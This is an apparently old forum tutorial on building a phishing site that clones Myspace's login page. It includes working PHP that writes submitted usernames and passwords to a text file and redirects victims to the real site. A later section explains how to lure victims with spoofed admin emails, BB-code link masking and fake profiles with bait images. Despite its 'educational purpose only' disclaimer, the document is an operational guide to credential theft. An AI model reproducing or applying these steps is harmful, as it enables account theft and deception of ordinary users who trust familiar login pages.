How to make a phisher for a website

1. Intro
There are couple of other phishing tutorials around here, but some people seem to have problems understanding them. So I'll try to be as simple as possible, and if you have problems understanding it, then you need to get some beginner level computer knowledge first.

-This article was written for educational purpose only. I'm not responsible for any illegal activity that you may commit.

2. What is a phisher?
Phisher is something that looks like a login page(a fake login page), that writes the username and the password to a file, or does whatever you want.

3. How to make one?
All you need is a web hosting service with PHP enabled.
We will use t35. Go to spam.com and sign up for a free account. In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it. Get back to your t35 account and click on 'New File' and paste the Myspace's source code there. Name the file 'index.php'(without the ''), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be 'www.xxx.t35.com/index.php' - where 'xxx' is the name of your account.

But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it writes the username and password to a text file.
Open your 'index.php' file. Search in the code for keywords 'action='.
There will be several 'action=some link' in the myspace's source code(for the sign in button, search button, etc.). We need to find the 'action=some link' that refers to the Login button.

After some searching, we find the:

```
<h5 class="heading">
            Member Login
        </h5>
        <form action="http://secure.myspace.com/index.cfm?
fuseaction=login.process" method="post" id="LoginForm" name="aspnetForm">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYW
NrS2V5X18WAgUwY3RsMDAkT
WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWNrYm94BTBjdGw
wMCRNYWluJFNwbGFzaERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24="
/>
</div>
```

and we know that 'action="http://secure.myspace.com/index.cfm?fuseaction=login.process"' refers to the login button.
Change:
action="http://secure.myspace.com/index.cfm?fuseaction=login.process"
To:
action="login.php"
and save the file.

Formerly, when you click the login button it would take the values in the username and password boxes, and execute the functions in the 'http://secure.myspace.com/index.cfm?fuseaction=login.process' file.
Now when you click the login button it will take the values in the username in password boxes, and execute the functions in the 'login.php' file on your site(which doesn't exist yet).
All we have to do now, is to create a 'login.php' file that contains a function that writes down the username and password into a text document.
Make another file named 'login.php'(without the quotes) and paste the following code in it:

```
<?php
header ('Location: http://myspace.com ');
$handle = fopen("passes.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
```

The function of login.php is simple. It opens a file named 'passes.txt'(and creates it if it doesn't already exist) and enter the informations there(the username and password).
Congratulations! You have a phisher!
The link to your phish site is:
http://xxx.t35.com/index.php -where 'xxx' is your account name.
The link to your text file is:
http://xxx.t35.com/passes.txt
Or you may access it from your account.

Note that you can choose whatever names you like for index.php, login.php and passes.txt. but the .php and .txt must stay the same.

4. How to trick people to fall for it.
There are billions of ways how to do it, your creativity is your limit.
Most common way is to make an email similar to the admin, and sending them some report with a link to log in the site(your phish site). Ofcourse you will mask the link.
How to mask the link?
If you're posting it on forums, or anywhere where bb code is enabled, you're doing this:
[url=YourPhishSiteLink]TheOriginalSiteLink[/url]

For example, www.google.com looks like a google, but it leads you to yahoo when you click it.

If you're making the phisher for myspace, and want to get random ppl to it, you can simply make some hot chick account and put some hot pic that will lead to your phish site when clicked. So when they click the lusty image, they will be led to your phish site telling them they need to log in to see that.
Like this:
[url=YourPhishSiteLink][img]link of the image[/img][/url]

When sending emails see for the option 'hyperlink', and it's self explainable once you see it.
There are many other ways, and as I said, your creativity is the limit.

5. Outro
I hope that this tutorial was helpful and simple enough. It explains how to make a phisher, and how it works. Although is written for Myspace, the procedure is equivalent for almost every other login site(for hotmail is different). After this, it's up to you to explore, experiment and dive in the world of social engineering.